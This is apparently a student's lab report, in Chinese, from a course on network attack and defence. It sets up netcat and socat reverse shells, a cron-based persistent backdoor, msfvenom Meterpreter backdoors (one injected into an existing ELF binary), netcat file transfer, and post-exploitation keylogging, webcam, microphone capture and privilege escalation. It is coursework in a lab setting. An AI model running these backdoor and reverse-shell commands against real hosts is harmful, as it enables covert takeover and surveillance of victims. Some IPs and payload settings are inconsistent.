20232421 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实践内容

1.1 实践目标

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

钓鱼邮件

  • 例举你知道的后门如何启动起来(win及linux)的方式?

Windows系统:注册表启动项、计划任务(Scheduled Tasks)、“启动”文件夹等

Linux系统:crontab计划任务、Systemd服务、SSH公钥授权服务等

  • Meterpreter有哪些给你印象深刻的功能?

实时拍照、实时键盘记录等

  • 如何发现自己有系统有没有被安装后门?

可以通过网络流量监控、进程和服务分析、文件系统完整性检查、日志分析、完整性扫描、审计等方式

2.实践过程

2.1 使用netcat获取主机的Shell,后执行定时任务

2.1.1 实验准备

屏幕截图 2025-10-22 161333
由于直接下载netcat会被阻止,因此需要先关闭防火墙后下载。

  • 进入目录控制面板\所有控制面板项\Windows Defender 防火墙\自定义设置;关闭Windows Defender防火墙。
    屏幕截图 2025-10-22 161047
  • 进入官网地址(https://eternallybored.org/misc/netcat/)下载netcat1.11。
  • 下载之后发现仍被阻止,选择保留即可。
    屏幕截图 2025-10-22 161958
  • 记得关闭Windows主机的防病毒软件并退出杀毒软件,否则可执行文件会被直接删除。被删除可选择在保护历史记录中还原。
    屏幕截图 2025-10-22 163729

2.1.2 使用netcat获取主机操作Shell

  • 主机操作:执行命令ipconfig获取主机IP地址
    屏幕截图 2025-10-22 163810
  • 主机操作:进入netcat所在目录,并通过控制台指令./nc64.exe -l -p 2421对2421端口进行监听,结果显示LISTENING则说明端口违背占用且监听成功。
    屏幕截图 2025-10-22 163845
    屏幕截图 2025-10-22 163953

实验指导书中监听的端口为8888,但部分同学的监听端口为个人学号,此处只要保证选用端口处于LISTENING状态(未被占用)即可,故此处尝试使用个人学号端口2421

  • 虚拟机操作:执行命令nc 172.16.209.107 2421 -e /bin/sh,让虚拟机主动连接到IP为172.16.209.107的2421端口
    屏幕截图 2025-10-22 172301
    屏幕截图 2025-10-22 172316

2.1.3 启动定时任务

  • 输入命令crontab -e编辑crontab文件,设置指定任务
    屏幕截图 2025-10-22 175545
  • 选用方法2/usr/bin/vin.basic编辑cron表
    屏幕截图 2025-10-22 175604
  • 添加命令50 * * * * /bin/netcat 192.168.3.13 2409 -e /bin/sh后保存退出。
    屏幕截图 2025-10-22 175711

改命令创建后门,让系统当时间到达某小时的第50分钟都自动尝试将本机的Shell控制权连接到172.16.209.107这台机器上。

  • 查看后门文件:通过路径/var/spool/cron/crontabs,找到crontabs文件夹,用root身份打开,此root文件即是后门文件
    屏幕截图 2025-10-22 173423

2.1.4 修改定时任务

  • 获取shell(参照之前步骤)
  • 写入新任务,将原来定时任务的50分钟改为20分钟,并按照路径生成文件。
echo "20 * * * * echo "20232409" > /home/biyouchen/tempfile/20232409.txt" > /var/spool/cron/crontabs/root`
  • 输入命令crontab -l,确认修改结果
    屏幕截图 2025-10-22 174027

2.2 使用socat获取主机的Shell

2.2.1 实验准备

  • 通过网址https://gitee.com/wildlinux/NetSec/attach_files下载socat,下载socat.rar。
    屏幕截图 2025-10-23 001344
  • 解压进入文件夹后,打开PowerShell并输入命令./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr,在本机上监听8888端口,做好相应准备。
    屏幕截图 2025-10-23 003622

2.2.2 设置定时任务

  • 主机编写程序并生成可执行文件
    屏幕截图 2025-10-23 010913

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(){
        FILE *file = fopen("20232421dk.txt","w");
        char *str = "20232421";
        if(file == NULL){
            perror("ERROR!"); 
            return 1;
        }``
        fputs(str, file);
        fprintf(file, "\nHERE!");
        fclose(file); 
        printf("HERE YOU ARE!20232421dk.txt~\n");
        return 0;
    }
    

程序功能:在该程序运行的目录下,创建或覆盖一个名为20232421dk.txt的文件,并向其中写入字符串“20232421”。

  • 虚拟机输入命令schtasks /create /sc minute /mo 1 /tn "20232421dk" /tr F:\socat\socat\WLGF2_20232421dk.exe
    屏幕截图 2025-10-23 011635

命令功能:在Windows系统上创建一个名为“20232421dk”的定时任务,该任务会每分钟自动运行一次位于F:\socat\socat\WLGF2.2_20232421dk.exe的程序。

  • 通过主机计算机管理查看任务计划程序库,发现定时任务“20232421dk”顺利完成执行。
    屏幕截图 2025-10-23 010803

2.3 使用MSF meterpreter生成后门

(实验地点变更,后续主机ip地址变更为 172.16.209.107,虚拟机ip地址变更为192.168.150.132)

2.3.1 后门生成

  • 虚拟机输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=8888 -f exe > backdoor20232421.exe
    屏幕截图 2025-10-23 031622

    命令功能:生成一个名为backdoor20232421.exe的Windows可执行文件。该文件为一个后门程序,其功能是主动连接回IP地址为192.168.150.132的攻击者机器的8888端口,从而为攻击者提供一个远程控制会话

2.3.2 文件传输

  • 主机启动netcat,输入命令: ./nc.exe -l -p 410 > “D:\backdoor20232421.exe”
    屏幕截图 2025-10-23 090751

命令功能:与Windows主机上启动一个netcat监听器,监听410端口,并将任何连接上来的客户端发送过来的数据,全部到指定路径的文件中

  • 虚拟机中输入命令:nc 172.16.209.107 410 < backdoor20232421.exe
    屏幕截图 2025-10-23 090853

命令功能:该命令使用netcat客户端,将本地的backdoor20232421.exe文件的内容,通过网络发送到IP地址为172.16.209.107的机器的410端口上。

2.3.3 配置监听模块

  • 虚拟机输入指令msfconsole,打开Metasploit框架的主要控制台界面。
    屏幕截图 2025-10-23 091247
  • 对监听模块进行配置
    屏幕截图 2025-10-23 091328

    use exploit/multi/handler

    • 等待并处理来自载荷的连接

    set payload windows/meterpreter/reverse_tcp

    • 指定了监听器要处理的是一个Windows平台的、反向TCP连接的Meterpreter载荷

    set LHOST 192.168.150.132

    • 表示在IP地址为192.168.150.132的网卡上进行监听,此处的IP地址填入Kali虚拟机的IP

    set LPORT 8888

    • 在8888这个端口上进行监听

    exploit

    • 启动监听器

2.3.4 运行后门程序进行攻击

  • 主机运行后门程序./backdoor20232421.exe
    屏幕截图 2025-10-23 091745
  • 记录虚拟机状态
    屏幕截图 2025-10-23 091724
  • 虚拟机输入命令dir以证明成功![image-20251023092107772]屏幕截图 2025-10-23 092100

2.4 使用MSF meterpreter生成获取目标主机资源的后门,并尝试提权

2.4.1 使用先前生成的后门获取信息

  • 输入后渗透命令,获取信息和实时监控
    屏幕截图 2025-10-23 092658

    record_mic -d 10

    • 从目标主机的默认麦克风录制音频,持续10秒

    screenshot

    • 表示获取目标主机当前屏幕的截图,保存为图片文件
      webcam_snap
    • 表示通过目标主机的摄像头拍摄一张照片

    keyscan_start

    • 表示开始捕获目标主机的键盘输入(键盘记录)

    keyscan_stop

    • 手动停止

    keyscan_dump

    • 导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端
  • 渗透结果

屏幕截图 2025-10-23 092746

屏幕截图 2025-10-23 092507

2.4.2 尝试提权

  • 输入命令getuid查看初始用户名
    屏幕截图 2025-10-23 093039

  • 输入命令getsystem尝试提权
    屏幕截图 2025-10-23 093207

  • 输入命令background离开当前的Meterpreter交互界面,回到主控制台
    屏幕截图 2025-10-23 093314

  • 输入命令sessions -l,上述会话被发现,提权成功
    屏幕截图 2025-10-23 093401

2.5 使用MSF生成shellcode,获取反弹连接Shell

2.5.1 后门生成

  • 输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.132 LPORT=8888 -x /home/kali/Desktop/pwn20232421_2 -f elf > 20232421_pwnex2生成后门可执行文件
    屏幕截图 2025-10-23 095037

    命令功能:该命令将一个Linux系统下的反向连接Meterpreter后门,注入到已有的合法程序/home/kali/Desktop/pwn20232421_2,并生成一个新的、带有后门的可执行文件。注意此处的LHOST中需要填入Kali虚拟机的IP地址。

2.5.2 启动MSF监听模块

  • 虚拟机输入指令msfconsole,打开Metasploit框架的主要控制台界面。
    屏幕截图 2025-10-23 101630
  • 对监听模块进行配置
    屏幕截图 2025-10-23 101652

    use exploit/multi/handler

    • 等待并处理来自载荷的连接
      set payload windows/meterpreter/reverse_tcp
    • 指定了监听器要处理的是一个Windows平台的、反向TCP连接的Meterpreter载荷
      set LHOST 192.168.150.132
    • 表示在IP地址为192.168.150.132的网卡上进行监听,此处的IP地址填入Kali虚拟机的IP
      set LPORT 8888
    • 在8888这个端口上进行监听
      exploit
    • 启动监听器

2.5.3 执行后门程序

  • 打开新的终端,使用命令chmod +x 20232421_pwnex2为该文件授予执行的权限。
    屏幕截图 2025-10-23 102100
  • 使用命令./20232421_pwnex2运行后门程序
    屏幕截图 2025-10-23 102208
  • 返回控制台,输入简单命令验证反弹连接是否成功
    屏幕截图 2025-10-23 102327

3.问题及解决方案

  • 问题:传输的后门程序到Windows主机后无法运行
    屏幕截图 2025-10-23 103002
  • 解决方案:实际是因为传输过程中由于Windows特有的重定向,后门程序变大且损坏,后续尝试创建共享文件夹未成功,最后在cmd中使用netcat命令后成功。

4.学习感悟、思考等

  • 工具实操方面:掌握了netcat、socat、MSF meterpreter的核心用法,获取Shell、到生成后门、窃取资源,对工具的实际应用场景和操作细节有了清晰认知,不再局限于理论。
  • 关键问题反思:实验过程中反复因为使用哪台主机的IP这一问题报错,实则反映出来的是对“谁攻击谁防御”掌握不清,是对实验内容不清楚,理清逻辑后操作就得心应手了。
  • 实践能力提升:本次实验中遇到了很多特别简单基础的错误(比如字符错了、IP地址错了、执行顺序错了),这些都是在理论学习中学不会的,我觉得这也正是实践给我带来的最大收获。“菜!就多练!”

参考资料

posted @ 2025-10-22 22:30  20232421邓锴  阅读(9)  评论(2)    收藏  举报